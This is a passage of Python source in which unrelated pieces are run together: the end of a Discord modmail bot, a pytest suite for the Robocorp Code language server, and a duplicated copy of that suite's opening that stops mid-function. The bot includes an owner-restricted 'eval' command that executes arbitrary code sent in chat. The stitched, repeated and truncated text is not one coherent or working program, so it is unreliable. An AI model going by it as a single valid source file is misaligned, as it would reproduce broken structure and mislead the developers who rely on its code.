return em @commands.command() @commands.has_permissions(administrator=True) async def setup(self, ctx, *, modrole: discord.Role=None): '''Sets up a server for modmail''' if discord.utils.get(ctx.guild.categories, name='Mod Mail'): return await ctx.send('This server is already set up.') categ = await ctx.guild.create_category( name='Mod Mail', overwrites=self.overwrites(ctx, modrole=modrole) ) await categ.edit(position=0) c = await ctx.guild.create_text_channel(name='bot-info', category=categ) await c.edit(topic='Manually add user id\'s to block users.\n\n' 'Blocked\n-------\n\n') await c.send(embed=self.help_embed(ctx.prefix)) await ctx.send('Successfully set up server.') @commands.command() @commands.has_permissions(administrator=True) async def disable(self, ctx): '''Close all threads and disable modmail.''' categ = discord.utils.get(ctx.guild.categories, name='Mod Mail') if not categ: return await ctx.send('This server is not set up.') for category, channels in ctx.guild.by_category(): if category == categ: for chan in channels: if 'User ID:' in str(chan.topic): user_id = int(chan.topic.split(': ')[1]) user = self.get_user(user_id) await user.send(f'**{ctx.author}** has closed this modmail session.') await chan.delete() await categ.delete() await ctx.send('Disabled modmail.') @commands.command(name='close') @commands.has_permissions(manage_channels=True) async def _close(self, ctx): '''Close the current thread.''' if 'User ID:' not in str(ctx.channel.topic): return await ctx.send('This is not a modmail thread.') user_id = int(ctx.channel.topic.split(': ')[1]) user = self.get_user(user_id) em = discord.Embed(title='Thread Closed') em.description = f'**{ctx.author}** has closed this modmail session.' em.color = discord.Color.red() try: await user.send(embed=em) except: pass await ctx.channel.delete() @commands.command() async def ping(self, ctx): """Pong! Returns your websocket latency.""" em = discord.Embed() em.title ='Pong! Websocket Latency:' em.description = f'{self.ws.latency * 1000:.4f} ms' em.color = 0x00FF00 await ctx.send(embed=em) def guess_modroles(self, ctx): '''Finds roles if it has the manage_guild perm''' for role in ctx.guild.roles: if role.permissions.manage_guild: yield role def format_info(self, message): '''Get information about a member of a server supports users from the guild or not.''' user = message.author server = self.guild member = self.guild.get_member(user.id) avi = user.avatar_url time = datetime.datetime.utcnow() desc = 'Modmail thread started.' color = 0 if member: roles = sorted(member.roles, key=lambda c: c.position) rolenames = ', '.join([r.name for r in roles if r.name != "@everyone"]) or 'None' member_number = sorted(server.members, key=lambda m: m.joined_at).index(member) + 1 for role in roles: if str(role.color) != "#000000": color = role.color em = discord.Embed(colour=color, description=desc, timestamp=time) em.add_field(name='Account Created', value=str((time - user.created_at).days)+' days ago.') em.set_footer(text='User ID: '+str(user.id)) em.set_thumbnail(url=avi) em.set_author(name=user, icon_url=server.icon_url) if member: em.add_field(name='Joined', value=str((time - member.joined_at).days)+' days ago.') em.add_field(name='Member No.',value=str(member_number),inline = True) em.add_field(name='Nick', value=member.nick, inline=True) em.add_field(name='Roles', value=rolenames, inline=True) em.add_field(name='Message', value=message.content, inline=False) return em async def send_mail(self, message, channel, mod): author = message.author fmt = discord.Embed() fmt.description = message.content fmt.timestamp = message.created_at urls = re.findall(r'(https?://[^\s]+)', message.content) types = ['.png', '.jpg', '.gif', '.jpeg', '.webp'] for u in urls: if any(urlparse(u).path.endswith(x) for x in types): fmt.set_image(url=u) break if mod: fmt.color=discord.Color.green() fmt.set_author(name=str(author), icon_url=author.avatar_url) fmt.set_footer(text='Moderator') else: fmt.color=discord.Color.gold() fmt.set_author(name=str(author), icon_url=author.avatar_url) fmt.set_footer(text='User') embed = None if message.attachments: fmt.set_image(url=message.attachments[0].url) await channel.send(embed=fmt) async def process_reply(self, message): try: await message.delete() except discord.errors.NotFound: pass await self.send_mail(message, message.channel, mod=True) user_id = int(message.channel.topic.split(': ')[1]) user = self.get_user(user_id) await self.send_mail(message, user, mod=True) def format_name(self, author): name = author.name new_name = '' for letter in name: if letter in string.ascii_letters + string.digits: new_name += letter if not new_name: new_name = 'null' new_name += f'-{author.discriminator}' return new_name @property def blocked_em(self): em = discord.Embed(title='Message not sent!', color=discord.Color.red()) em.description = 'You have been blocked from using modmail.' return em async def process_modmail(self, message): '''Processes messages sent to the bot.''' try: await message.add_reaction('✅') except: pass guild = self.guild author = message.author topic = f'User ID: {author.id}' channel = discord.utils.get(guild.text_channels, topic=topic) categ = discord.utils.get(guild.categories, name='Mod Mail') top_chan = categ.channels[0] #bot-info blocked = top_chan.topic.split('Blocked\n-------')[1].strip().split('\n') blocked = [x.strip() for x in blocked] if str(message.author.id) in blocked: return await message.author.send(embed=self.blocked_em) em = discord.Embed(title='Thanks for the message!') em.description = 'The moderation team will get back to you as soon as possible!' em.color = discord.Color.green() if channel is not None: await self.send_mail(message, channel, mod=False) else: await message.author.send(embed=em) channel = await guild.create_text_channel( name=self.format_name(author), category=categ ) await channel.edit(topic=topic) await channel.send('@here', embed=self.format_info(message)) async def on_message(self, message): if message.author.bot: return await self.process_commands(message) if isinstance(message.channel, discord.DMChannel): await self.process_modmail(message) @commands.command() async def reply(self, ctx, *, msg): '''Reply to users using this command.''' categ = discord.utils.get(ctx.guild.categories, id=ctx.channel.category_id) if categ is not None: if categ.name == 'Mod Mail': if 'User ID:' in ctx.channel.topic: ctx.message.content = msg await self.process_reply(ctx.message) @commands.command(name="customstatus", aliases=['status', 'presence']) @commands.has_permissions(administrator=True) async def _status(self, ctx, *, message): '''Set a custom playing status for the bot.''' if message == 'clear': return await self.change_presence(activity=None) await self.change_presence(activity=discord.Game(message)) await ctx.send(f"Changed status to **{message}**") @commands.command() @commands.has_permissions(manage_channels=True) async def block(self, ctx, id=None): '''Block a user from using modmail.''' if id is None: if 'User ID:' in str(ctx.channel.topic): id = ctx.channel.topic.split('User ID: ')[1].strip() else: return await ctx.send('No User ID provided.') categ = discord.utils.get(ctx.guild.categories, name='Mod Mail') top_chan = categ.channels[0] #bot-info topic = str(top_chan.topic) topic += id + '\n' if id not in top_chan.topic: await top_chan.edit(topic=topic) await ctx.send('User successfully blocked!') else: await ctx.send('User is already blocked.') @commands.command() @commands.has_permissions(manage_channels=True) async def unblock(self, ctx, id=None): '''Unblocks a user from using modmail.''' if id is None: if 'User ID:' in str(ctx.channel.topic): id = ctx.channel.topic.split('User ID: ')[1].strip() else: return await ctx.send('No User ID provided.') categ = discord.utils.get(ctx.guild.categories, name='Mod Mail') top_chan = categ.channels[0] #bot-info topic = str(top_chan.topic) topic = topic.replace(id+'\n', '') if id in top_chan.topic: await top_chan.edit(topic=topic) await ctx.send('User successfully unblocked!') else: await ctx.send('User is not already blocked.') @commands.command(hidden=True, name='eval') async def _eval(self, ctx, *, body: str): """Evaluates python code""" allowed = [int(x) for x in os.getenv('OWNERS', '').split(',')] if ctx.author.id not in allowed: return env = { 'bot': self, 'ctx': ctx, 'channel': ctx.channel, 'author': ctx.author, 'guild': ctx.guild, 'message': ctx.message, 'source': inspect.getsource } env.update(globals()) body = self.cleanup_code(body) stdout = io.StringIO() err = out = None to_compile = f'async def func():\n{textwrap.indent(body, " ")}' try: exec(to_compile, env) except Exception as e: err = await ctx.send(f'```py\n{e.__class__.__name__}: {e}\n```') return await err.add_reaction('\u2049') func = env['func'] try: with redirect_stdout(stdout): ret = await func() except Exception as e: value = stdout.getvalue() err = await ctx.send(f'```py\n{value}{traceback.format_exc()}\n```') else: value = stdout.getvalue() if ret is None: if value: try: out = await ctx.send(f'```py\n{value}\n```') except: await ctx.send('```Result is too long to send.```') else: self._last_result = ret try: out = await ctx.send(f'```py\n{value}{ret}\n```') except: await ctx.send('```Result is too long to send.```') if out: await ctx.message.add_reaction('\u2705') #tick if err: await ctx.message.add_reaction('\u2049') #x else: await ctx.message.add_reaction('\u2705') def cleanup_code(self, content): """Automatically removes code blocks from the code.""" # remove ```py\n``` if content.startswith('```') and content.endswith('```'): return '\n'.join(content.split('\n')[1:-1]) # remove `foo` return content.strip('` \n') if __name__ == '__main__': Modmail.init()
import logging import os.path import sys from robocorp_code.protocols import ( LocalRobotMetadataInfoDict, WorkspaceInfoDict, ActionResult, ) from typing import List import time from robocorp_code_tests.protocols import IRobocorpLanguageServerClient import py from robocorp_ls_core.unittest_tools.cases_fixture import CasesFixture from robocorp_code_tests.fixtures import RccPatch log = logging.getLogger(__name__) def test_missing_message( language_server: IRobocorpLanguageServerClient, ws_root_path, initialization_options ): language_server.initialize( ws_root_path, initialization_options=initialization_options ) # Just ignore this one (it's not a request because it has no id). language_server.write( { "jsonrpc": "2.0", "method": "invalidMessageSent", "params": {"textDocument": {"uri": "untitled:Untitled-1", "version": 2}}, } ) # Make sure that we have a response if it's a request (i.e.: it has an id). msg = language_server.request( { "jsonrpc": "2.0", "id": "22", "method": "invalidMessageSent", "params": {"textDocument": {"uri": "untitled:Untitled-1", "version": 2}}, } ) assert msg["error"]["code"] == -32601 def test_exit_with_parent_process_died( language_server_process: IRobocorpLanguageServerClient, language_server_io, ws_root_path, initialization_options, ): """ :note: Only check with the language_server_io (because that's in another process). """ from robocorp_ls_core.subprocess_wrapper import subprocess from robocorp_ls_core.basic import is_process_alive from robocorp_ls_core.basic import kill_process_and_subprocesses from robocorp_ls_core.unittest_tools.fixtures import wait_for_test_condition language_server = language_server_io dummy_process = subprocess.Popen( [sys.executable, "-c", "import time;time.sleep(10000)"] ) language_server.initialize( ws_root_path, process_id=dummy_process.pid, initialization_options=initialization_options, ) assert is_process_alive(dummy_process.pid) assert is_process_alive(language_server_process.pid) kill_process_and_subprocesses(dummy_process.pid) wait_for_test_condition(lambda: not is_process_alive(dummy_process.pid)) wait_for_test_condition(lambda: not is_process_alive(language_server_process.pid)) language_server_io.require_exit_messages = False def test_list_rcc_robot_templates( language_server_initialized: IRobocorpLanguageServerClient, ws_root_path: str, rcc_location: str, tmpdir, ) -> None: from robocorp_code import commands assert os.path.exists(rcc_location) language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_LIST_ROBOT_TEMPLATES_INTERNAL, [] )["result"] assert result["success"] template_names = [template["name"] for template in result["result"]] assert "standard" in template_names assert "python" in template_names target = str(tmpdir.join("dest")) language_server.change_workspace_folders(added_folders=[target], removed_folders=[]) result = language_server.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [ { "directory": target, "name": "example", "template": template_names[0], } ], )["result"] assert result["success"] assert not result["message"] # Error result = language_server.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [{"directory": target, "name": "example", "template": "standard"}], )["result"] assert not result["success"] assert "Error creating robot" in result["message"] assert "not empty" in result["message"] assert "b'" not in result["message"] result = language_server.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [{"directory": ws_root_path, "name": "example2", "template": "standard"}], )["result"] assert result["success"] result = language_server.execute_command( commands.ROBOCORP_LOCAL_LIST_ROBOTS_INTERNAL, [] )["result"] assert result["success"] folder_info_lst: List[LocalRobotMetadataInfoDict] = result["result"] assert len(folder_info_lst) == 2 assert set([x["name"] for x in folder_info_lst]) == {"example", "example2"} def get_workspace_from_name( workspace_list: List[WorkspaceInfoDict], workspace_name: str ) -> WorkspaceInfoDict: for ws in workspace_list: if ws["workspaceName"] == workspace_name: return ws raise AssertionError(f"Did not find workspace: {workspace_name}") def _get_as_name_to_sort_key_and_package_id(lst: List[WorkspaceInfoDict]): name_to_sort_key = {} for workspace_info in lst: for package_info in workspace_info["packages"]: name_to_sort_key[package_info["name"]] = ( package_info["sortKey"], package_info["id"], ) return name_to_sort_key def test_get_plugins_dir( language_server_initialized: IRobocorpLanguageServerClient, ): client = language_server_initialized result = client.get_plugins_dir() assert result assert result.endswith("plugins") assert os.path.exists(result) def test_cloud_list_workspaces_sorting( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch, tmpdir: py.path.local, ): client = language_server_initialized root_dir = str(tmpdir.join("root").mkdir()) rcc_patch.apply() result = client.cloud_list_workspaces() assert result[ "success" ], f'Expected the cloud to list workspaces. Error: {result['message']}' ws_info = result["result"] assert ws_info ci_workspace_info = get_workspace_from_name(ws_info, "CI workspace") result = client.upload_to_new_robot( ci_workspace_info["workspaceId"], f"New package {time.time()}", "<dir not there>", ) assert not result["success"] msg = result["message"] assert msg and "to exist" in msg result = client.upload_to_new_robot( ci_workspace_info["workspaceId"], "New package", root_dir ) assert result["success"] result = client.cloud_list_workspaces() assert result["success"] res = result["result"] assert res assert _get_as_name_to_sort_key_and_package_id(res) == { "Package Name 1": ("00010package name 1", "452"), "Package Name 2": ("00010package name 2", "453"), "New package": ("00000new package", "2323"), } result = client.upload_to_existing_activity( ci_workspace_info["workspaceId"], "453", root_dir ) assert result["success"] def test_cloud_list_workspaces_basic( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch, data_regression, ): client = language_server_initialized rcc_patch.apply() result1 = client.cloud_list_workspaces() assert result1["success"] data_regression.check(result1) rcc_patch.disallow_calls() result2 = client.cloud_list_workspaces() assert result2["success"] assert result1["result"] == result2["result"] result3 = client.cloud_list_workspaces(refresh=True) assert "message" in result3 # Didn't work out because the mock forbids it (as expected). assert not result3["success"] msg = result3["message"] assert msg and "This should not be called at this time" in msg def test_cloud_list_workspaces_errors_single_ws_not_available( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch, data_regression, ): client = language_server_initialized def custom_handler(args, *sargs, **kwargs): if args[:4] == ["cloud", "workspace", "--workspace", "workspace_id_1"]: # List packages for workspace 1 return ActionResult( success=False, message="""{"error":{"code":"WORKSPACE_TREE_NOT_FOUND","subCode":"","message":"workspace tree not found"}""", result=None, ) rcc_patch.custom_handler = custom_handler rcc_patch.apply() result1 = client.cloud_list_workspaces() # i.e.: Should show only workspace 2 as workspace 1 errored. data_regression.check(result1) rcc_patch.custom_handler = None result2 = client.cloud_list_workspaces() assert result1["result"] == result2["result"] # Use cached result3 = client.cloud_list_workspaces(refresh=True) data_regression.check(result3, basename="test_cloud_list_workspaces_basic") def test_cloud_list_workspaces_errors_no_ws_available( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch ): client = language_server_initialized def custom_handler(args, *sargs, **kwargs): if args[:3] == ["cloud", "workspace", "--workspace"]: # List packages for workspace 1 return ActionResult( success=False, message="""{"error":{"code":"WORKSPACE_TREE_NOT_FOUND","subCode":"","message":"workspace tree not found"}""", result=None, ) rcc_patch.custom_handler = custom_handler rcc_patch.apply() result1 = client.cloud_list_workspaces() assert not result1["success"] def test_upload_to_cloud( language_server_initialized: IRobocorpLanguageServerClient, ci_credentials: str, ws_root_path: str, monkeypatch, ): from robocorp_code import commands from robocorp_code.protocols import PackageInfoDict from robocorp_code.rcc import Rcc client = language_server_initialized client.DEFAULT_TIMEOUT = 10 # The cloud may be slow. result = client.execute_command(commands.ROBOCORP_IS_LOGIN_NEEDED_INTERNAL, [])[ "result" ] assert result["result"], "Expected login to be needed." result = client.execute_command( commands.ROBOCORP_CLOUD_LOGIN_INTERNAL, [{"credentials": "invalid"}] )["result"] assert not result["success"], "Expected login to be unsuccessful." result = client.execute_command( commands.ROBOCORP_CLOUD_LOGIN_INTERNAL, [{"credentials": ci_credentials}] )["result"] assert result["success"], "Expected login to be successful." result = client.cloud_list_workspaces() assert result["success"] result_workspaces: List[WorkspaceInfoDict] = result["result"] assert result_workspaces, "Expected to have the available workspaces and packages." found = [x for x in result_workspaces if x["workspaceName"] == "CI workspace"] assert ( len(found) == 1 ), f'Expected to find "CI workspace". Found: {result_workspaces}' found_packages = [x for x in found[0]["packages"] if x["name"] == "CI activity"] assert ( len(found_packages) == 1 ), f'Expected to find "CI activity". Found: {result_workspaces}' found_package: PackageInfoDict = found_packages[0] result = client.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [{"directory": ws_root_path, "name": "example", "template": "standard"}], )["result"] assert result["success"] directory = os.path.join(ws_root_path, "example") result = client.upload_to_existing_activity( found_package["workspaceId"], found_package["id"], directory ) assert result["success"] def mock_run_rcc(self, args, *sargs, **kwargs): if args[:3] == ["cloud", "new", "--workspace"]: return ActionResult( success=True, message=None, result="Created new robot named 'New package 1597082853.2224553' with identity 453.\n", ) if args[:3] == ["cloud", "push", "--directory"]: return ActionResult(success=True, message=None, result="OK.\n") raise AssertionError(f"Unexpected args: {args}") # Note: it should work without the monkeypatch as is, but it'd create a dummy # package and we don't have an API to remove it. monkeypatch.setattr(Rcc, "_run_rcc", mock_run_rcc) result = client.upload_to_new_robot( found_package["workspaceId"], f"New package {time.time()}", directory ) assert result["success"] def test_logout_cloud( language_server_initialized: IRobocorpLanguageServerClient, monkeypatch ): from robocorp_code import commands from robocorp_code.rcc import Rcc client = language_server_initialized client.DEFAULT_TIMEOUT = 10 # The cloud may be slow. def mock_run_rcc(self, args, *sargs, **kwargs): from robocorp_code.rcc import ACCOUNT_NAME if args[:5] == ["config", "credentials", "--account", ACCOUNT_NAME, "--delete"]: return ActionResult(success=True, message=None, result="OK.\n") raise AssertionError(f"Unexpected args: {args}") def mock_credentials_valid(self): # Mock rcc.credentials_valid() to return False after "successful" removal from cloud return False # Note: it should work without the monkeypatch as is, but it'd create a dummy # (check test_upload_to_cloud for details) # package and we don't have an API to remove it. monkeypatch.setattr(Rcc, "_run_rcc", mock_run_rcc) monkeypatch.setattr(Rcc, "credentials_valid", mock_credentials_valid) result = client.execute_command(commands.ROBOCORP_CLOUD_LOGOUT_INTERNAL, [])[ "result" ] assert result["success"] def test_lru_disk_commands(language_server_initialized: IRobocorpLanguageServerClient): from robocorp_code import commands client = language_server_initialized def save_to_lru(name: str, entry: str, lru_size: int): result = client.execute_command( commands.ROBOCORP_SAVE_IN_DISK_LRU, [{"name": name, "entry": entry, "lru_size": lru_size}], )["result"] assert result["success"] def get_from_lru(name: str) -> list: result = client.execute_command( commands.ROBOCORP_LOAD_FROM_DISK_LRU, [{"name": name}] ) return result["result"] assert get_from_lru("my_lru") == [] save_to_lru("my_lru", "entry1", lru_size=2) assert get_from_lru("my_lru") == ["entry1"] save_to_lru("my_lru", "entry2", lru_size=2) assert get_from_lru("my_lru") == ["entry2", "entry1"] save_to_lru("my_lru", "entry1", lru_size=2) assert get_from_lru("my_lru") == ["entry1", "entry2"] save_to_lru("my_lru", "entry3", lru_size=2) assert get_from_lru("my_lru") == ["entry3", "entry1"] def _compute_robot_launch_from_robocorp_code_launch( client: IRobocorpLanguageServerClient, task: str, robot: str, **kwargs ): from robocorp_code import commands args = {"robot": robot, "task": task, "name": "Launch Name", "request": "launch"} args.update(kwargs) result = client.execute_command( commands.ROBOCORP_COMPUTE_ROBOT_LAUNCH_FROM_ROBOCORP_CODE_LAUNCH, [args] )["result"] return result def test_compute_robot_launch_from_robocorp_code_launch( language_server_initialized: IRobocorpLanguageServerClient, cases: CasesFixture ): client = language_server_initialized robot = cases.get_path("custom_envs/simple-web-scraper/robot.yaml") result = _compute_robot_launch_from_robocorp_code_launch( client, "Web scraper", robot ) assert result["success"] r = result["result"] assert os.path.samefile( r["target"], cases.get_path("custom_envs/simple-web-scraper/tasks") ) assert os.path.samefile(r["cwd"], cases.get_path("custom_envs/simple-web-scraper")) del r["target"] del r["cwd"] assert r == { "type": "robotframework-lsp", "name": "Launch Name", "request": "launch", "args": ["-d", "output", "--logtitle", "Task log"], "terminal": "integrated", } def test_compute_python_launch_from_robocorp_code_launch( language_server_initialized: IRobocorpLanguageServerClient, cases: CasesFixture ): client = language_server_initialized robot = cases.get_path("custom_envs/pysample/robot.yaml") result = _compute_robot_launch_from_robocorp_code_launch( client, "Default", robot, pythonExe="c:/temp/py.exe" ) assert result["success"] r = result["result"] assert os.path.samefile( r["program"], cases.get_path("custom_envs/pysample/task.py") ) assert os.path.samefile(r["cwd"], cases.get_path("custom_envs/pysample")) del r["program"] del r["cwd"] assert r == { "type": "python", "name": "Launch Name", "request": "launch", "pythonArgs": [], "args": [], "pythonPath": "c:/temp/py.exe", "console": "internalConsole", } def test_hover_browser_integration( language_server_initialized: IRobocorpLanguageServerClient, cases: CasesFixture ): from robocorp_ls_core.workspace import Document client = language_server_initialized uri = "x/y/locators.json" txt = """ "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAA" """ doc = Document("", txt) client.open_doc(uri, 1, txt) line, col = doc.get_last_line_col() ret = client.hover(uri, line, col) assert ret["result"] == { "contents": { "kind": "markdown", "value": "![Screenshot](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAA)", }, "range": { "start": {"line": 2, "character": 56}, "end": {"line": 2, "character": 56}, }, } def test_hover_image_integration( language_server_initialized: IRobocorpLanguageServerClient, tmpdir ): from robocorp_ls_core.workspace import Document from robocorp_code_tests.fixtures import IMAGE_IN_BASE64 import base64 from robocorp_ls_core import uris locators_json = tmpdir.join("locators.json") locators_json.write_text("", "utf-8") imgs_dir = tmpdir.join(".images") imgs_dir.mkdir() img1 = imgs_dir.join("img1.png") with img1.open("wb") as stream: stream.write(base64.b64decode(IMAGE_IN_BASE64)) client = language_server_initialized uri = uris.from_fs_path(str(locators_json)) txt = """ "Image.Locator.01": { "path": ".images/img1.png", "source": ".images/img1.png" """ doc = Document("", txt) client.open_doc(uri, 1, txt) line, col = doc.get_last_line_col() ret = client.hover(uri, line, col) result = ret["result"] value = result["contents"].pop("value") assert value.startswith("![Screenshot](data:image/png;base64,iVBORw0KGgo") assert value.endswith(")") assert ret["result"] == { "contents": { "kind": "markdown", # "value": "![Screenshot](data:image/png;base64,iVBORw0KGgo...)", }, "range": { "start": {"line": 3, "character": 37}, "end": {"line": 3, "character": 37}, }, } def test_obtain_locator_info( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ) -> None: from robocorp_code import commands # robot.yaml contents don't matter for this test (it just needs to be there). robot_yaml = tmpdir.join("robot.yaml") robot_yaml.write("") tmpdir.join("locators.json").write( """{ "Browser.Locator.00": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAAVsAAAAiCAYAAADxlXpQAAAAAXNSR0IArs4c6QAAAKFJREFUeJzt1lENgDAUBMGClPr3+FDBNoEZBfe1uWtmZgHwqvv0AIA/EFuAgNgCBMQWICC2AAGxBQiILUBAbAEC91pr7b1P7wD4NM8WICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBMQWICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBK6ZmdMjAL7OswUIiC1AQGwBAmILEBBbgIDYAgTEFiDwADUBCKHOZd2rAAAAAElFTkSuQmCC", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "name", "type": "browser", "value": "q" }, "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAAsCAYAAAAXb/p7AAAAAXNSR0IArs4c6QAAAJxJREFUWIXt17EOgCAMhOFqHPrQDAx9aDbcTYw9jgjDfYsL0T+FGD167902dq4O+KJAlgJZCmQpkKVAlgJZCmRtH3ghiyPCWmv0Q93dSimptdAEZ8Sh9xna4lordUUcyD9JdlsyIiK1ThN8owmyshOE3oNPyERGpmf2Y+Ao6Ay6+5SHIveBzuAK238sKJClQJYCWQpkKZClQJYCWTdtZlHGc2zySwAAAABJRU5ErkJggg==", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "class", "type": "browser", "value": "J9leP" } }""" ) language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_GET_LOCATORS_JSON_INFO, [{"robotYaml": str(robot_yaml)}] )["result"] assert result["success"] res = result["result"] new_res = [] for item in res: new_item = {} for key, val in item.items(): if key == "filePath": val = os.path.basename(val) new_item[key] = val new_res.append(new_item) data_regression.check(new_res) def test_remove_locator( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ) -> None: from robocorp_code import commands import json # robot.yaml contents don't matter for this test (it just needs to be there). robot_yaml = tmpdir.join("robot.yaml") robot_yaml.write("") locator_file = tmpdir.join("locators.json") locator_file.write( """{ "Browser.Locator.00": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAAVsAAAAiCAYAAADxlXpQAAAAAXNSR0IArs4c6QAAAKFJREFUeJzt1lENgDAUBMGClPr3+FDBNoEZBfe1uWtmZgHwqvv0AIA/EFuAgNgCBMQWICC2AAGxBQiILUBAbAEC91pr7b1P7wD4NM8WICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBMQWICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBK6ZmdMjAL7OswUIiC1AQGwBAmILEBBbgIDYAgTEFiDwADUBCKHOZd2rAAAAAElFTkSuQmCC", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "name", "type": "browser", "value": "q" }, "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAAsCAYAAAAXb/p7AAAAAXNSR0IArs4c6QAAAJxJREFUWIXt17EOgCAMhOFqHPrQDAx9aDbcTYw9jgjDfYsL0T+FGD167902dq4O+KJAlgJZCmQpkKVAlgJZCmRtH3ghiyPCWmv0Q93dSimptdAEZ8Sh9xna4lordUUcyD9JdlsyIiK1ThN8owmyshOE3oNPyERGpmf2Y+Ao6Ay6+5SHIveBzuAK238sKJClQJYCWQpkKZClQJYCWTdtZlHGc2zySwAAAABJRU5ErkJggg==", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "class", "type": "browser", "value": "J9leP" } }""" ) language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_REMOVE_LOCATOR_FROM_JSON_INTERNAL, [{"robotYaml": str(robot_yaml), "name": "Browser.Locator.00"}], )["result"] locators_content = json.loads(locator_file.read()) assert result["success"] assert result["result"] is None assert result["message"] is None assert "Browser.Locator.00" not in locators_content assert "Browser.Locator.01" in locators_content def test_internal_load_locators_db( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ) -> None: from robocorp_code.robocorp_language_server import RobocorpLanguageServer # robot.yaml contents don't matter for this test (it just needs to be there). robot_yaml = tmpdir.join("robot.yaml") robot_yaml.write("") locator_file = tmpdir.join("locators.json") locator_file.write( """{ "Browser.Locator.00": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAAVsAAAAiCAYAAADxlXpQAAAAAXNSR0IArs4c6QAAAKFJREFUeJzt1lENgDAUBMGClPr3+FDBNoEZBfe1uWtmZgHwqvv0AIA/EFuAgNgCBMQWICC2AAGxBQiILUBAbAEC91pr7b1P7wD4NM8WICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBMQWICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBK6ZmdMjAL7OswUIiC1AQGwBAmILEBBbgIDYAgTEFiDwADUBCKHOZd2rAAAAAElFTkSuQmCC", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "name", "type": "browser", "value": "q" }, "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAAsCAYAAAAXb/p7AAAAAXNSR0IArs4c6QAAAJxJREFUWIXt17EOgCAMhOFqHPrQDAx9aDbcTYw9jgjDfYsL0T+FGD167902dq4O+KJAlgJZCmQpkKVAlgJZCmRtH3ghiyPCWmv0Q93dSimptdAEZ8Sh9xna4lordUUcyD9JdlsyIiK1ThN8owmyshOE3oNPyERGpmf2Y+Ao6Ay6+5SHIveBzuAK238sKJClQJYCWQpkKZClQJYCWTdtZlHGc2zySwAAAABJRU5ErkJggg==", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "class", "type": "browser", "value": "J9leP" } }""" ) action_result = RobocorpLanguageServer._load_locators_db(robot_yaml) db_and_locators = action_result["result"] assert db_and_locators is not None db, locators_json_path = db_and_locators assert action_result["success"] assert action_result["message"] is None assert str(locators_json_path) == str(locator_file) assert "Browser.Locator.00" in db.locators assert "Browser.Locator.01" in db.locators def test_metric(language_server_initialized: IRobocorpLanguageServerClient) -> None: from robocorp_code import commands language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_SEND_METRIC, [{"value": "foo"}] )["result"] assert not result["success"] result = language_server.execute_command( commands.ROBOCORP_SEND_METRIC, [{"name": "bar", "value": "foo"}] )["result"] assert result["success"] def sort_diagnostics(diagnostics): def key(diag_dict): return ( diag_dict["source"], diag_dict["range"]["start"]["line"], diag_dict.get("code", 0), diag_dict["severity"], diag_dict["message"], ) return sorted(diagnostics, key=key) def test_lint_robot_integration( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ): from robocorp_ls_core import uris from robocorp_ls_core.unittest_tools.fixtures import TIMEOUT robot_yaml = tmpdir.join("robot.yaml") robot_yaml_text = """ tasks: Obtain environment information: command: - python - get_env_info.py artifactsDir: output condaConfigFile: conda.yaml """ robot_yaml.write_text(robot_yaml_text, "utf-8") conda_yaml = tmpdir.join("conda.yaml") conda_yaml.write_text( """ channels: - defaults - conda-forge dependencies: - python=3.8 """, "utf-8", ) language_server = language_server_initialized robot_yaml_uri = uris.from_fs_path(str(robot_yaml)) message_matcher = language_server.obtain_pattern_message_matcher( {"method": "textDocument/publishDiagnostics"} ) language_server.open_doc(robot_yaml_uri, 1, robot_yaml_text) assert message_matcher.event.wait(TIMEOUT) diag = message_matcher.msg["params"]["diagnostics"] data_regression.check(sort_diagnostics(diag))
import logging import os.path import sys from robocorp_code.protocols import ( LocalRobotMetadataInfoDict, WorkspaceInfoDict, ActionResult, ) from typing import List import time from robocorp_code_tests.protocols import IRobocorpLanguageServerClient import py from robocorp_ls_core.unittest_tools.cases_fixture import CasesFixture from robocorp_code_tests.fixtures import RccPatch log = logging.getLogger(__name__) def test_missing_message( language_server: IRobocorpLanguageServerClient, ws_root_path, initialization_options ): language_server.initialize( ws_root_path, initialization_options=initialization_options ) # Just ignore this one (it's not a request because it has no id). language_server.write( { "jsonrpc": "2.0", "method": "invalidMessageSent", "params": {"textDocument": {"uri": "untitled:Untitled-1", "version": 2}}, } ) # Make sure that we have a response if it's a request (i.e.: it has an id). msg = language_server.request( { "jsonrpc": "2.0", "id": "22", "method": "invalidMessageSent", "params": {"textDocument": {"uri": "untitled:Untitled-1", "version": 2}}, } ) assert msg["error"]["code"] == -32601 def test_exit_with_parent_process_died( language_server_process: IRobocorpLanguageServerClient, language_server_io, 